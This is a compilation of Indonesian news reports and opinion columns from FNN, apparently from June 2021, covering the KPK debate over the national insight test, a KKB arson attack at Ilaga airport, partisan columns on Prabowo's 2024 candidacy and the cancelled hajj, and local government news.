Jakarta, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri tidak memenuhi undangan menghadiri debat terbuka dengan Direktur Sosialisasi dan Kampanye Antikorupsi KPK Giri Suprapdiono membahas polemik Tes Wawasan Kebangsaan (TWK). Debat terbuka tersebut digelar di ruang wartawan Gedung Merah Putih KPK, Jakarta, Jumat. "Kami coba panggil peserta debat TWK pertama, yaitu Bapak Giri Suprapdiono. Selanjutnya, kami panggil untuk datang ke debat TWK karena sebelumnya surat sudah dikirimkan secara resmi ke KPK untuk mengundang Ketua KPK Pak Firli Bahuri untuk bisa datang pada siang hari ini. Namun, tampaknya belum terlihat sosok Pak Firli di ruangan ini," kata Peneliti Indonesia Corruption Watch (ICW) Kurnia Ramadhana yang menjadi pembawa acara debat tersebut. Kurnia pun selanjutnya memulai acara membahas masalah TWK dengan Giri. Giri diketahui merupakan salah satu dari 75 Pegawai KPK yang tidak memenuhi syarat dalam TWK tersebut. "Jadi, mungkin kami bisa ngobrol-ngobrol dulu dengan peserta debat kali ini dan nanti teman-teman kalau Pak Firli berani untuk mendatangi ruangan ini untuk debat TWK maka acara ini akan dimoderatori oleh Mbak Najwa Shihab yang sudah berada di platform zoom," ujar Kurnia. Dalam debat tersebut, Giri menilai bahwa TWK justru menyingkirkan pegawai-pegawai yang mempunyai kesungguhan dalam memberantas korupsi. "Yang kita saksikan dalam satu bulan ini ternyata polemik TWK ini justru menyingkirkan orang-orang yang memang mempunyai kesungguhan dalam memberantas korupsi," kata Giri. Selain itu, Giri juga meminta kepada Presiden Joko Widodo (Jokowi) dapat menyelamatkan nasib 75 Pegawai KPK tersebut. "Saya bilang saya ini siapa lah, saya tidak bisa meminta-minta Presiden tetapi Presiden juga meminta pertimbangan tidak seperti kita Mas Kurnia ditanya kemudian bereaksi. Dia mengumpulkan informasi dan harapannya informasi itu informasi yang tepat sehingga bisa menyelamatkan 75 orang ini," ujar Giri. Acara tersebut berlangsung sekitar 40 menit, namun Firli juga tak kunjung hadir di ruang wartawan Gedung Merah Putih KPK.

Bandara Aminggaru Ilaga Dibakar KKB

Jayapura, FNN - Kepala Unit Penyelenggara Bandar Udara (UPBU) Ilaga Herman Sujito mengatakan tidak ada staf perhubungan yang terluka akibat pembakaran fasilitas di sekitar bandara yang dilakukan teroris Kelompok Kriminal Bersenjata (KKB) di Papua. "Alhamdulillah, seluruh staf aman karena sejak meningkatnya gangguan KKB, kami tidak lagi mendiami perumahan yang terletak di dekat kawasan bandara," ungkap Herman kepada Antara, Jumat. Ketika dihubungi dari Jayapura Kepala UPBU Aminggaru Ilaga mengaku selain tower/ATC yang dibakar teroris KKB juga enam unit perumahan yang berlokasi di sekitar bandara. Saat pembakaran fasilitas Bandara Aminggaru Ilaga, seluruh petugas sudah berada di Kota Ilaga, kata Herman seraya mengaku, staf hanya ke rumah dinas itu saat siang hari disela-sela tugasnya di bandara. Usai operasional di bandara selesai, seluruhnya langsung ke kota sehingga tidak ada yang mendiami perumahan tersebut. Akibat insiden tersebut operasional bandara sementara ditutup namun bila ada kondisi darurat akan dilayani, kata Herman Sujito. Teroris KKB, Kamis petang (3/6) sekitar pukul 17.40 WITmembakar sejumlah fasilitas di Bandara Aminggaru Ilaga dan sempat terjadi baku tembak dengan aparat keamanan.

Ada Yang Takut Kereta Tua Itu Masih Nyapres Lagi?

by Tarmidzi Yusuf Bandung FNN - Pilpres 2024 lebih kurang tiga tahun lagi. Jago-jago yang bakal bertarung sudah mulai dielus-elus. Tim media masing-masing calon mulai bergerak dan bergerilya sana-sini. Relawan mulai melakukan deklarasi dan konsolidasi. Nama Prabowo Subianto disebut-sebut bakal maju kembali untuk keempat kalinya. Prabowo tahun 2009 maju sebagai Cawapresnya Megawati. Lima tahun setelah itu, tahun 2014 maju kembali sebagai Capres berpasangan dengan Hatta Radjasa. Terakhir, 2019 maju sebagai Capres didampingi Sandiaga Uno. Hasil berbagai lembaga survei, Prabowo Subianto, Anies Baswedan dan Ganjar Pranowo selalu berada di posisi puncak untuk Pilpres 2024. Prabowo memang terbilang sudah berumur. Tahun 2024 nanti, Prabowo insya Allah sudah berumur 73 tahun. Diantara tokoh-tokoh yang disebut bakal maju pada Pilpres 2024, Prabowo Subianto sebagai yang paling tua. Tahun 2024 Ganjar Pranowo 56 tahun, Anies Baswedan 55 tahun, sedangkan Ridwan Kamil baru 53 tahun. Yang termuda AHY, kelahiran 1978. Tahun 2024, umur AHY baru 46 tahun. Bila ada yang menduetkan Cak Imin dan AHY, patut diduga ada maksud politik tertentu. Sebagai upaya untuk mengunci salah satu calon yang paling potensial menang selain Prabowo. Tujuannya agar calon yang lain tidak lolos presidential threshold 20%. Siapa calon potensial tersebut? Tentu saja yang paling sering dibully oleh para buzzeRp. Kita sudah bisa menebak siapa yang dimaksud dengan “Kereta Tua' dan Kereta Mogok itu”. Seperti yang disebutkan oleh relawan Jokowi Mania kemarin. Agar tidak maju lagi nyapres tahun 2024 yang akan datang. Jokowi Mania pun secara terbuka mendukung Ganjar Pranowo. Inikah sinyal kalau Jokowi mendukung Ganjar Pranowo? Ada indikasi ini bakal merusak komitmen antara Megawati, Prabowo dan Jokowi tahun 2019. Seperti pada Perjanjian Batu Tulis 2009 silam? Isunya, Jokowi punya calon sendiri di luar deal politik antara Megawati, Prabowo dan Jokowi menjelang penyusunan kabinet periode kedua Jokowi tahun 2019. Paketnya adalah Prabowo - Puan untuk Pilpres 2024. Akankah komitmen perjanjian Batu Tulis tahun 2009 terulang kembali? Jokowi Mania bukan pihak pertama yang meminta Prabowo Subianto agar tidak nyapres lagi di tahun 2024. Sekitar Mei tahun lalu, seorang pengamat sekaligus pemimpin sebuah lembaga survei mengatakan; "sosok yang masih memiliki keinginan kuat maju untuk menahan diri dan legowo memberikan kesempatan kepada generasi muda". "Kalau 2024 itu berbeda karena sosok yang masih nafsu ingin maju jadi Capres itu secara biologis sudah tua. Jadi seharusnya tak perlu memaksakan diri. Terlebih secara psikologis, jika memaksakan orang tua yang maju, maka tak akan menang". Lebih kurang seperti itu yang dikatakan seorang pengamat. Kemarin relawan Jokowi Mania menyebut dengan istilah “Kereta Tua dan Kereta Mogok”. Dalam Pilpres 2014 dan 2019, pengamat dan relawan tersebut, tidak berada di kubu sosok yang ia sebut di atas. Siapa sosok itu? Kita pun bisa menebak. Sosok tersebut kemungkinan besar adalah Prabowo Subianto yang lebih dikenal oleh pendukungnya dengan kode sandi “PS 08”. Pada 2024, Prabowo memang sudah tidak muda lagi. Umurnya 73 tahun jika Allah subhanahu wata'ala masih memberikan umur. Kenapa banyak yang takut jika Prabowo menjadi Presiden? Sebagai warga negara, Prabowo berhak untuk mencalonkan, dan dicalonkan sebagai Presiden. Apalagi UUD 1945 tidak mengatur batas usia Capres dan Cawapres. Yang diantur cuma batas dua priode. Tidak lebih. Siapa bilang Prabowo tidak akan menang pada pilpres 2024? Potensi Prabowo menang Pilpres 2024 sangat terbuka lebar. Apalagi elektabilitas Prabowo masih tinggi, dan Partai Gerindra terlihat sangat solid mendukung Prabowo. Maka, modal awal Prabowo sudah terpenuhi. Hasil survei pun menunjukkan elektabilitas Prabowo berada diposisi puncak bersama dengan Anies Baswedan, Ganjar Pranowo dan Sandiaga Uno. Praktis tiga besar kandidat terkuat presiden 2024 masih berada dalam satu gerbong politik. Itu artinya Prabowo masih laku dijual. Dari kubu sebelah hanya ada Ganjar Pranowo dan Ridwan Kamil. Yang agak aneh, dari beberapa hasil survei, nama Puan Maharani selalu berada di posisi bawah. Entah mengapa? Dari sini kita bisa membaca kenapa nama Puan Maharani tidak ada mengangkat di hasil survei. Kalau pun ada, elektabilitasnya pun sangat rendah. Permainan lembaga survei? Entahlah, sudah menjadi rahasia umum. Kita menduga, Prabowo Subianto orang yang tidak dikehendaki oleh para oligarki, cukong, dan konglomerat hitam, licik picik, culas dan tamak. Jenderal merah hitam dan kelompok kiri radikal juka tidak menghendaki Prabowo maju Pilpres 2024 nanti. Ada ketakutan yang sangat tinggi terhadap Prabowo bila kelak maju Pilpres dan menang. Fenomena Abraham Lincoln bisa saja terjadi pada Prabowo Subianto. Kita tidak tahu takdir manusia. Abraham Lincoln dua kali gagal sebagai senator. Satu kali gagal sebagai Calon Wapres AS. Tahun 1860, Abraham Lincoln menang Pilpres. Menjadi Presiden ke-16 Amerika Serikat. Peluang Prabowo Subianto menang tetap ada. Apalagi, elektabilitas Prabowo moncer. Yang bisa menggagalkan Prabowo maju Pilpres 2024 hanya dua, yaitu “kematian, dijebak atau terjebak” kasus korupsi. Apalagi saat ini, Kementerian Pertahanan dapat proyek besar alat peralatan pertahanan dan keamanan (Alpalhankam). Nilainya prestisius, US$124.995.000.000 atau setara Rp1,7 triliun. Wajar bila ada opini, kalau Prabowo tidak boleh nyapres pada tahun 2024 dengan alasan regenerasi. Karena para cukong, jenderal merah hitam dan kelompok kiri radikal punya calon sendiri. Anda tahu siapa calonnya? Tebak sendiri aja ya. Wallahu a'lam bish-shawab. Penulis adalah Pegiat Da’wah dan Sosial.

Kebun Raya Gianyar Dikembangkan Jadi Destinasi Wisata Edukasi

Gianyar, FNN - Bupati Gianyar I Made Mahayastra berjanji akan terus mengembangkan Kebun Raya Gianyar menjadi destinasi wisata edukasi, sekaligus sebagai komitmen Pemerintah Kabupaten Gianyar, Bali untuk melestarikan lingkungan. "Pemkab Gianyar akan terus mengembangkan Kebun Raya Gianyar agar bisa menjadi wisata edukasi. Ke depan, Kebun Raya Gianyar ini, akan terus kita lestarikan, kita kembangkan, sehingga Kebun Raya Gianyar menjadi ikon pelestarian lingkungan hidup Kabupaten Gianyar, dan menjadi obyek wisata dan edukasi yang menarik di Kecamatan Payangan,” ujar Bupati dalam keterangan tertulisnya di Gianyar, Jumat. Kini, Pemkab Gianyar sedang mempersiapkan berbagai sarana dan prasarana yang diperlukan Kebun Raya Gianyar agar nanti bisa ditetapkan sebagai bagian dari kebun raya Indonesia. ”Saat ini kami sedang mempersiapkan sarana dan prasarana untuk memenuhi persyaratan yang diperlukan. Sehingga Kebun Raya Gianyar, pada perayaan hari ulang tahunnya tanggal 17 Juli 2021, dapat diresmikan atau di-launching, dan ditetapkan sebagai bagian dari kebun raya Indonesia,” tambah dia. Bupati menanam pohon di kebun raya Gianyar itu terkait dengan peringatan hari Lingkungan Hidup Sedunia. Tampak hadir pula, Ketua DPRD Gianyar, Sekda Kabupaten Gianyar dan seluruh pimpinan OPD melakukan penanaman pohon “Nyabah” sebagai ikon Kebun Raya Gianyar. Di samping itu, Ketua Tim Penggerak PKK Ida Ayu Surya Adnyani Mahayastra juga ikut melaksanakan penanaman pohon Toga. Pemkab Gianyar melaksanakan kegiatan menanam pohon dan bersih-bersih lingkungan secara serentak di seluruh desa/kelurahan di Kabupaten Gianyar serta penyemprotan eco-enzim di area Kebun Raya Gianyar, Banjar Pilan Desa Kerta Payangan. Made Mahayastra dalam sambutan yang dibacakan Sekda Made Gede Wisnu Wijaya mengatakan Peringatan Hari Lingkungan Hidup Sedunia di Kabupaten Gianyar Tahun 2021 ini, harus dimaknai sebagai upaya untuk mengingatkan pentingnya menjaga kelestarian lingkungan hidup. “Peringatan Hari Lingkungan Hidup merupakan momentum strategis, untuk melakukan kampanye penyadaran peduli lingkungan, serta mengingatkan dan memotivasi segenap komponen masyarakat Gianyar, untuk berpartisipasi nyata dalam upaya perlindungan dan pengelolaan lingkungan hidup,” ujar Wisnu Wijaya. Dalam upaya untuk menjaga dan melestarikan lingkungan hidup, Pemkab Gianyar telah melakukan berbagai langkah terobosan seperti, penataan Lapangan Astina Gianyar, pembangunan pedestrian dan taman di sepanjang jalan di Kota Gianyar, penataan TPA Temesi, dan mendorong pembangunan TPS3R Terpadu di setiap desa dan kelurahan, bekerjasama dengan Tim Penggerak PKK Kabupaten Gianyar. Dikatakannya, keanekaragaman hayati merupakan pondasi pendukung semua kehidupan di daratan, lautan dan udara, yang dapat mempengaruhi seluruh aspek kehidupan manusia, mulai dari kesehatan, menyediakan udara, air bersih, makanan, dan obat-obatan alami. Untuk diketahui, peringatan Hari Lingkungan Hidup berawal dari konferensi besar pertama tentang isu-isu lingkungan yang diadakan pada tanggal 5 sampai dengan 16 juni 1972 di Stockholm Swedia ketika itu majelis umum PBB membuat resolusi yang menetapkan tanggal 5 Juni sebagai hari lingkungan hidup sedunia dan sejak saat itu hari lingkungan hidup sedunia dirayakan setiap tahun.

Pendaftar BPUM Yogyakarta Belum Capai Target Cuma 2.184 UKM

Yogyakarta, FNN - Jumlah pelaku usaha kecil mikro di Kota Yogyakarta yang mengajukan pendaftaran untuk memperoleh bantuan produktif usaha mikro pada 2021 hingga saat ini tercatat 2.184 pelaku usaha dan belum mencapai target dari potensi yang ada. "Dari pemetaan awal berdasarkan jumlah izin usaha mikro (IUM) pada 2020, maka seharusnya masih ada sekitar 6.000 pelaku usaha kecil mikro (UKM) di Kota Yogyakarta yang belum mengajukan bantuan produktif usaha mikro (BPUM) pada tahun lalu," kata Kepala Dinas Perindustrian Koperasi dan UKM Kota Yogyakarta Tri Karyadi Riyanto di Yogyakarta, Jumat. Namun demikian, hingga saat ini belum semua pelaku UKM di Kota Yogyakarta mengajukan pendaftaran saat Kementerian Koperasi dan UKM kembali membuka program pemberian bantuan produktif pada 2021. Pendaftaran BPUM 2021 pun kembali diperpanjang dengan membuka pendaftaran tahap ketiga yang akan berakhir pada 18 Juni dan Tri Karyadi berharap, pelaku UKM yang memenuhi syarat untuk mendaftar segera mengajukan pendaftaran. Sama seperti pendaftaran pada tahap pertama dan kedua, pelaku UKM asal Kota Yogyakarta cukup mengakses aplikasi Jogja Smart Service (JSS) untuk mengajukan pendaftaran dan mengisi formulir secara daring serta mencetak bukti pendaftaran. Selanjutnya, pelaku UKM datang ke kantor kelurahan sesuai domisilinya untuk menyampaikan berbagai berkas sebagai syarat pengajuan pendaftaran seperti warga Kota Yogyakarta yang dibuktikan dengan KTP, memiliki izin usaha mikro (IUM) atau nomor induk berusaha (NIB). Selain itu, pelaku UKM juga tidak sedang mengakses kredit, bukan ASN, TNI/Polri, bukan pegawai BUMD/BUMN, dan hanya mengajukan satu pendaftaran dari satu kartu keluarga. Pelaku UKM yang sudah pernah mendaftar BPUM pada 2020 namun belum mendapat bantuan juga diperbolehkan untuk mengajukan pendaftaran ulang. Tri memperkirakan, belum tercapainya target pendaftar sesuai potensi yang ada disebabkan para pelaku usaha tersebut tidak lagi menjalankan usahanya. “Sebagaimana diketahui, pelaku usaha mikro ini terkadang usahanya belum stabil. Masih timbul tenggelam dan mudah sekali terpengaruh kondisi di sekitarnya. Mungkin saja dulu pernah mengajukan izin usaha namun saat ini tidak lagi menjalankan usahanya sehingga tidak bisa mengajukan bantuan,” katanya. Sementara itu, dari 2.184 pelaku UKM yang sudah mengajukan pendaftaran, sebanyak 1.398 di antaranya sudah diverifikasi oleh Dinas Perindustrian Koperasi dan UKM Kota Yogyakarta sebelum diajukan ke Kementerian Koperasi dan UKM. Namun demikian, tidak semuanya lolos verifikasi di dinas. Sebanyak dua pendaftar dinyatakan tidak memenuhi syarat, masing-masing karena sudah berbentuk CV sehingga tidak masuk kategori usaha mikro dan satu pendaftar hanya coba-coba dan tidak melengkapi syarat pendaftaran. “Kami melakukan verifikasi dengan cermat dan teliti. Harapannya, data tersebut sudah valid sebelum diajukan ke kementerian sehingga nantinya penerima pun tepat sasaran,” katanya. Hanya saja, lanjut Tri Karyadi, Pemerintah Kota Yogyakarta tidak bisa mengecek jumlah pendaftar yang sudah memperoleh bantuan produktif tersebut pada tahun ini karena seluruhnya langsung masuk rekening penerima. Pada tahun ini, nilai BPUM yang akan diterima oleh setiap pelaku UKM yang dinyatakan lolos verifikasi sebesar Rp1,2 juta dan diharapkan dapat digunakan untuk menambah modal serta pengembangan usaha.

ESDM: Realisasi Investasi Ketenagalistrikan 18,4 Persen

Jakarta, FNN - Kementerian ESDM mencatat realisasi investasi ketenagalistrikan masih terbilang minim dengan angka 1,82 miliar dolar AS atau setara Rp26,19 triliun pada kuartal I 2021, sedangkan target yang ditetapkan tahun ini 9,91 dolar AS. "Nilai 1,82 miliar dolar AS ini kalau dibandingkan target total 9,91 dolar AS itu hitungan saya 18,4 persen, jadi masih minim," kata Direktur Jenderal Ketenagalistrikan Kementerian ESDM Rida Mulyana di Jakarta, Jumat. Rida menjelaskan pandemi COVID-19 yang masih melanda banyak negara di dunia, termasuk Indonesia, telah menghambat masuknya tenaga kerja asing, peralatan, dan material sehingga pekerjaan konstruksi mengalami keterlambatan. Selain itu permintaan listrik yang berkurang hingga penurunan kemampuan pendanaan PLN akibat penurunan penjualan listrik dari pelanggan non-subsidi, terutama industri dan bisnis. "Ada alasannya kenapa belum tercapai...karena COVID-19 masih melanda mengurangi pergerakan orang serta alat dengan sendirinya memperlambat pergerakan dolar, sehingga menyebabkan realisasinya seperti itu," kata Rida. Dari total realisasi investasi yang tercatat pada April 2021 pekerjaan konstruksi yang terus bergerak terdiri dari proyek pembangkit sebesar 1,01 miliar dolar AS atau setara Rp14,51 triliun dan proyek transmisi 340 juta dolar AS atau sekitar Rp4,87 triliun. Selanjutnya proyek gardu induk 180 juta dolar AS atau sekitar Rp2,65 triliun dan proyek distribusi mencapai 290 juta dolar AS atau setara Rp4,17 triliun. "Kita masih punya waktu untuk mendorong realisasi agar subsektor ketenagalistrikan ini, juga bisa berkontribusi terhadap pencapaian investasi secara nasional," kata Rida. Dalam upaya meningkatkan realisasi investasi ketenagalistrikan tersebut pemerintah akan meningkatkan kemudahan masuknya tenaga kerja asing maupun peralatan dari luar negeri dengan menerbitkan Surat Keterangan Proyek Strategis Nasional, menyelesaikan masalah pembebasan lahan hingga renegosiasi kontrak PLN dengan perusahaan listrik swasta untuk perpanjangan Commercial Operation Date (COD). Pemerintah juga berupaya meningkatkan permintaan listrik melalui koordinasi percepatan pertumbuhan potensi permintaan listrik baru di kawasan ekonomi khusus, kawasan industri, kawasan pariwisata strategis nasional, sentra kelautan dan perikanan terpadu, serta smelter. Tak hanya itu, pemerintah juga mendorong peningkatan kemampuan pendanaan PLN melalui pemberian kompensasi tarif dan peningkatan pendanaan Penyertaan Modal Negara (PNM).

Indonesia Gagal Berhaji, Natalius Pigai Akan Gugat ke Mahkamah Agung

by M. Rizal Fadillah Jakarta FNN - Pengumuman resmi Menteri Agama (Menag) Yaqut Kholil Qoumas tentang pembatalan keberangkat jamaah haji Indonesia tahun 1442 H atau 2021 M memastikan kegagalan penyelenggaraan negara. Masalahnya ada beberapa negara yang berhasil mendapatkan kuota. Pandemi Covid 19 menjadi alasan Pemerintah, maka pupuslah harapan jamaa'ah Indonesia untuk menunaikan haji tahun ini. Kegagalan berangkat haji adalah kedua kalinya Indonesia gagal memberangkatkan haji. Pandemi Covid 19 memang cocok untuk menjadi alasan. Sebenarnya faktor utamanya adalah Pemerintah Saudi tidak memberikan kuota kepada Indonesia. Lobi pun gagal di tengah kelemahan diplomasi kita di dunia internasional. Lucunya Luhut Panjaitan menjadi pelobi ke pemerintah. Luhut yang ditugaskan Melobi Dubes Saudi untuk Indonesia Essam At Thaghafi. Luhut yang didampingi Puteri Gus Dur Yenny Wahid, keluar pertemuan dengan membawa kuota nol. Untuk itu, mantan anggota Komisi Nasional Hak Asasi Manusia (Komnas HAM) Natalius Pigai mengecam keras keputusan pemerintah membatalkan keberangkan jamaah haji Indonesia untuk kedua kalinya ini. Natalius menyatakan akan menggugat keputusan Menteri Agama tersebut ke Mahkamah Agung. Pigai sedang menunggu pengaduan dari umat Islam yang sudah membayar lunas biaya perjalan haji, namun tidak bisa berangkat tahun ini. Pemerintah Jokowi telah gagal melaksanakan amanat konstitusi mensejahterakan warga negara, khusunya melaksanakan ajaran agama dengan baik. Negara gagal menghormati kebutuhan hak asasi umat Islam, melindungi hak asasi umat Islam, dan melindungi kebutuhan beribah umat Islam. Sebab ibadah haji merupakan salah satu kebutuhan hidup dari umat Islam. Negara gagal menjalankan kewajiban sesuai amanat konstitusi hukum dan HAM nasional dan internasional. Kata Pigai, untuk melaksanakan kewajiban ibadah haji, umat Islam telah berjuang dengan segala daya dan upaya untuk mencari dan menabung uang selama berpuluh tahun. Untuk memastikan kewajibannya berhaji dapat terlaksana, terutama yang sudah berusia lanjut dan masuk katagori kelompok rentan. Maka atas nama kemanusian, Pigai teman-teman memiliki komitmen yang kuat untuk menggugat keputusan pemerintah ke Mahkamah Agung. Sekitar lebih dari seratus pengacara ternama dari berbagai latar belakang agama telah siap menyatakan kesanggupan untuk bersama-sama dengan Pigai menggugat masalah pembatalan haji ini. Sejumlah ulama kondang juga akan memberikan pendapat ahli dari sisi hukum, HAM, keadilan dan syarit Islam. Sementara itu, menurut Menteri Kesehatan (Menkes) Budi Gunadi Sadikin masalah dengan Saudi Arabia dalam kaitan haji sudah bergeser dari persoalan murni kesehatan menjadi geopolitik. Persoalan sikap politik Saudi Arabia terhadap China. Persoalan vaksin hanya dampak saja. Menurutnya "become very complicated geopolitical and global economic issue". Nah lho. Ironinya justru yang melobi Saudi adalah Menko Luhut Panjaitan yang dikenal sebagai protektor kepentingan China di Indonesia. Pembela hebat kedatangan masif Tenaga Kerja Asing (TKA) China yang menggelisahkan rakyat. Luhut juga yang menjadi "Pimpro" program OBOR di Indonesia. Entah konten lobinya apa? Soal mau hutang dengan jaminan politik atau barter dengan "jual tanah murah" di Kalimatan untuk investasi dan ibukota negara baru? Sebenarnya penanggungjawab urusan haji adalah Menteri Agama. Jika bukan di negara Indonesia, kegagalan yang seperti ini dapat berakibat mundurnya sang Menteri. Hanya karena tidak ada budaya mundur bagi para pejabat yang gagal di Indonesia, ya posisinya aman-aman saja. Mungkin karena menganut sistem kabinet presidensial, maka yang disalahkan tentu adalah Presiden. Repotnya kata bapak Presiden, "itu bukan urusan saya". Tidak berangkat ya sudahlah. Menteri perlu menyampaikan bahwa soal uang jamaah untuk keberangkatan 2021 dijamin aman. Memang jama'ah dan umat Islam agak meragukan amanah Pemerintah soal dana haji secara keseluruhan. Viral tayangan KH Ma'ruf Amin yang kini Wapres menyatakan bahwa tidak masalah dana haji digunakan oleh Pemerintah untuk pembangunan infrastruktur seperti jalan tol atau pembangunan bandara. Menariknya disampaikan pula KH Ma'ruf Amin bahwa calon jama'ah haji sudah memberi kuasa kepada Pemerintah untuk menggunakan dana simpanan atau titipannya untuk kepentingan pembangunan di luar urusan haji. Pertanyaannya, dimana dan bagaimana bentuk kuasanya Pak Wapres? Benarkah ada izin yang tegas? Kini beberapa dana haji yang sudah dialokasikan untuk keperluan di luar haji? Lalu apa "advantage" bagi calon jama'ah atau umat Islam secara keseluruhan? Gagalnya keberangkatan haji tahun ini menjadi pelengkap dari banyak kegagalan Pemerintah lainnya. Gagal meningkatkan ekspor komoditi, gagal membuka lapangan kerja, gagal menahan laju hutang luar negeri, gagal menegakkan HAM, gagal berlaku adil dalam hukum, gagal membangun iklim politik yang demokratis. Dan pastinya gagal dalam menunaikan banyak janji. Rakyat mulai khawatir, pemerintah kini akan membawa Indonesia menjadi Negara Gagal. Haji Harus Terklarifikasi Ibadah haji menjadi ibadah yang dinanti umat Islam. Apalagi yang telah mendaftar dan memenuhi jadwal porsi berangkat. Akan tetapi penyelenggaraan haji selalu bermasalah. Tahun lalu bermasalah. Namun tahun ini seperti tahun lalu, bermasalah. Pandemi menjadi kendala. Calon jamaah haji kita harus bisa mengendalikan keinginan dan harapan. Persoalan sabar tentu menjadi kewajiban imani dan yang terbaik menurut Allah adalah ketetapan takdir-Nya. Yang menjadi masalah adalah kepastian, kejujuran, dan keamanan yang bisa dijamin penyelenggara yaitu Pemerintah. Pemerintah yang bingung tentu membingungkan. Isu yang berkembang adalah bahwa Saudi Arabia tidak memberi kuota kepada Indonesia tahun ini dengan alasan yang belum jelas. Hanya yang mengemuka adalah soal vaksin China Sinovac yang digunakan Indonesia belum tersertifikasi WHO. Hanya Pfizer, Moderna dan AstraZeneca yang lolos vaksin haji menurut Saudi. Ini persoalan berat karena Indonesia telah menyiapkan secara besar-besaran vaksin Sinovac China. Sedangkan AstraZeneca masih tergolong sedikit penggunaannya. Dalam tayangan wawancara, ekonom Rizal Ramli menyebut bahwa masalah Indonesia dan Saudi soal haji bukan hanya vaksin. Tetapi juga menyangkut sejumlah tagihan yang belum terbayarkan. Untuk jamaah, keresahan bertambah atas dana haji yang konon digunakan untuk pembangunan infrastruktur. DPR RI meminta Pemerintah serius menangani persoalan keberangkatan jamaah haji Indonesia tahun 2021 ini. Presiden Jokowi diminta turun tangan. Termasuk melobi Saudi. Rakyat, khususnya umat Islam butuh klarifikasi Pemerintah atas persoalan yang ada dengan sejelas-jelasnya. Jika tidak terklarifikasi, maka Pemerintah wajar disalahkan dan akan menanggung gugatan di kemudian hari. Atas kekecewaan ini desakan agar Menag Yaqut mundur juga sudah terdengar. Sekurangnya empat hal penting untuk diklarifikasi oleh Pemerintah. Pertama, benarkah persoalan vaksin Sinovac menjadi satu-satunya alasan konon Indonesia tidak memperoleh kuota haji dari Pemerintah Saudi untuk saat ini? Lalu solusi apa yang disiapkan demi menenangkan atau bila mampu, menjamin keberangkatan jamaah? Kedua, jika benar masih ada tunggakan pembayaran kepada Pemerintah Saudi, maka berapa besaran dan untuk keperluan apa saja serta bagaimana hal ini bisa terjadi? Lalu fungsi pengawasan DPR sejauh mana telah dilakukan untuk mencegah dan menyelesaikan masalah ini? Ketiga, terhadap dana haji yang dipertanyakan pengalihan penggunaan untuk infrastruktur. Benarkah berapa jumlah terpakai? Apa dasar hukum, serta apa konsekuensi yang harus ditanggung jika terjadi wanprestasi atau kesulitan pengembalian? Keempat, bagaimana Pemerintah menindak para buzzer atau pihak lain yang selalu menggemborkan sikap anti Arab? termasuk isu radikalisme yang dikaitkan dengan faham wahabisme, sehingga menyinggung pemerintah Saudi Arabia? Aspek formal vaksin tentu menjadi alasan logis. Tetapi aspek lain, termasuk geopolitik dan psikopolitik harus menjadi perhatian Pemerintah Indonesia. Sebab jika hal ini diabaikan, maka sepanjang waktu calon jamaah haji Indonesia akan selalu resah dan dirugikan. Khidmah dari pemerintah Saudi juga berpotensi untuk mengecewakan. Rakyat, khususnya umat Islam Indonesia saat ini menunggu klarifikasi secepatnya dari Pemerintahan Jokowi yang disampaikan secara jujur, jelas, dan bertanggungjawab. Bukan bilang, “itu bukan urusan saya”. Melempar tanggung jawab itu bukan kelasnya seorang presiden. Penulis adalah Pemerhati Politik dan Keagamaan.

Disdukcapil Kapuas Jemput Bola Perekaman KTP Warga Berkebutuhan Khusus

Kuala Kapuas, FNN - Dinas Kependudukan dan Pencatatan Sipil Kabupaten Kapuas, Kalimantan Tengah melakukan jemput bola perekaman Kartu Tanda Penduduk Elektronik (KTP-e) kepada masyarakat yang berkebutuhan khusus serta gangguan mental di Rumah Singgah Loka Bina Karya, di Kecamatan Basarang. "Ini dilakukan dalam rangka percepatan dan pemerataan kepemilikan KTP elektronik masyarakat kita," kata Pelaksana Tugas Kepala Dinas Dukcapil Kabupaten Kapuas Sipie S Bungai di Kuala Kapuas, Jumat. Kegiatan perekaman KTP elektronik ini, lanjutnya, merupakan hasil koordinasi Disdukcapil Kapuas bersama dengan Dinas Sosial setempat, untuk mewujudkan kepemilikan KTP bagi masyarakat yang memiliki kebutuhan khusus dan yang mengalami gangguan mental, yang tidak bisa melakukan perekaman KTP secara langsung di Kantor Disdukcapil setempat. Menurut Sipie, sudah menjadi kewajiban Dinas Dukcapil kabupaten setempat, untuk jemput bola perekaman KTP bagi masyarakat yang mengalami gangguan mental seperti ini. "Kami Dinas Kependudukan dan Pencatatan Sipil Kabupaten Kapuas selalu siap saja kapanpun ada usulan dari masyarakat atau dari Dinas Sosial Kabupaten Kapuas untuk jemput bola perekaman KTP elektronik," katanya. Bagi masyarakat ataupun Dinas Sosial silahkan mendata saja masyarakat yang memerlukan jemput bola perekaman KTP elektronik, silahkan hubungi ke nomor telepon yang ada di Dinas Kependudukan dan Pencatatan Sipil Kabupaten Kapuas dan pihaknya akan segera melaksanakannya. Dikatakannya, dalam perekaman tersebut, dari 13 orang yang diusulkan untuk kegiatan perekaman hanya ada 11 orang saja yang direkam saat itu, karena 2 di antaranya sudah pernah rekam, jadi tinggal mencetak KTP elektroniknya saja. "KTP elektronik yang sudah dicetak akan diserahkan secara langsung kepada Dinas Sosial Kabupaten Kapuas, untuk selanjutnya diserahkan secara langsung kepada Rumah Singgal Loka Bina Karya," jelasnya. Sementara itu, Kepala Bidang Rehabilitasi Sosial, Bunga, mengaku senang sekali bahwa Dinas Kependudukan dan Pencatatan Sipil Kabupaten Kapuas memiliki program Jemput Bola Perekaman KTP elektronik seperti ini. Dia mengatakan sebanyak 13 orang yang mengalami gangguan mental yang akan melakukan perekaman KTP elektronik hari ini, ada beberapa diantaranya memang berpotensi untuk sembuh dan ada juga beberapa diantaranya yang masih mengalami kondisi kejiwaan yang sulit. "Mereka yang berpotensi sembuh ini tetap kita lakukan pembinaan dan pemberian obat," kata Bunga.

Wisata Setigi, Contoh Keberhasilan Pengelolaan Bekas Tambang

